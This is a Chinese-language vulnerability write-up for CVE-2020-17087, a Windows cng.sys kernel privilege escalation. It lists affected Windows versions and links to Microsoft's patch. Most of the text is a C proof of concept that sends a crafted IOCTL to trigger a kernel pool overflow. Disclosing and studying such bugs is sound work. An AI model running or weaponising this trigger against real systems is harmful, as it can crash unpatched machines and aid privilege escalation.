CVE-2020-17087

描述

Windows 内核密码驱动程序 cng.sys 中的特权提升漏洞,已作为 CVE-2020-15999(FreeType 2 库中的缓冲区溢出漏洞)的漏洞链的一部分被广泛利用。CVE-2020-17087 被用于逃脱 Google Chrome浏览器的沙箱,以提升被利用系统的特权,且目前该漏洞已被在野利用。

影响版本

ProductCPU ArchitectureVersionUpdateTested
Windows Server 2019
Windows Server 2012R2
Windows Server 2012
Windows Server 2008X64R2SP1
Windows Server 2008X86/X64SP2
Windows RT 8.1
Windows 8.1X86/X64
Windows 7X86/X64SP1
Windows Server 2016
Windows 10X86/X641607
Windows 10
Windows 10X86/X64/ARM6420H2
Windows 10X86/X64/ARM642004
Windows 10X86/X64/ARM641903
Windows 10X86/X64/ARM641909
Windows 10X86/X64/ARM641809
Windows 10X86/X64/ARM641803
Windows Server20H2
Windows Server2004
Windows Server1903
Windows Server1909

修复补丁

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-17087

利用方式

目前没有利用方式,只有一个概念代码

#pragma comment(lib, "ntdll")

#include <cstdio>
#include <windows.h>

int main() {
  HANDLE hCng = CreateFileA("\\\\.\\GLOBALROOT\\Device\\Cng",
    GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

if (hCng == NULL) {
  printf("[-] Failed to open \\Device\\Cng: %u\n", GetLastError());
  return 1;
}

printf("[+] \\Device\\Cng opened, handle: %p\n", hCng);

//
// DataBufferSize overflows when used for allocating memory in
// cng!CfgAdtpFormatPropertyBlock as (uint16)(DataBufferSize * 6).
//
// In this proof-of-concept, an allocation of (uint16)(0x2AAB * 6) = 2
// bytes is requested while 0x2AAB * 6 = 0x10002 bytes are written to it.
//
CONST DWORD DataBufferSize = 0x2AAB;
CONST DWORD IoctlSize = 4096 + DataBufferSize;
BYTE *IoctlData = (BYTE *)HeapAlloc(GetProcessHeap(), 0, IoctlSize);

RtlZeroMemory(IoctlData, IoctlSize);

*(DWORD*)    &IoctlData[0x00] = 0x1A2B3C4D;
*(DWORD*)    &IoctlData[0x04] = 0x10400;
*(DWORD*)    &IoctlData[0x08] = 1;
*(ULONGLONG*)&IoctlData[0x10] = 0x100;
*(DWORD*)    &IoctlData[0x18] = 3;
*(ULONGLONG*)&IoctlData[0x20] = 0x200;
*(ULONGLONG*)&IoctlData[0x28] = 0x300;
*(ULONGLONG*)&IoctlData[0x30] = 0x400;
*(DWORD*)    &IoctlData[0x38] = 0;
*(ULONGLONG*)&IoctlData[0x40] = 0x500;
*(ULONGLONG*)&IoctlData[0x48] = 0x600;
*(DWORD*)    &IoctlData[0x50] = DataBufferSize; // OVERFLOW
*(ULONGLONG*)&IoctlData[0x58] = 0x1000;
*(ULONGLONG*)&IoctlData[0x60] = 0;
RtlCopyMemory(&IoctlData[0x200], L"FUNCTION", 0x12);
RtlCopyMemory(&IoctlData[0x400], L"PROPERTY", 0x12);

ULONG_PTR OutputBuffer = 0;
DWORD BytesReturned;
BOOL Status = DeviceIoControl(
  hCng,
  0x390400,
  IoctlData,
  IoctlSize,
  &OutputBuffer,
  sizeof(OutputBuffer),
  &BytesReturned,
  NULL
);

printf("[+] Ioctl sent, Status: %d, OutputBuffer: %zx\n", Status, OutputBuffer);

HeapFree(GetProcessHeap(), 0, IoctlData);
CloseHandle(hCng);

return 0;
}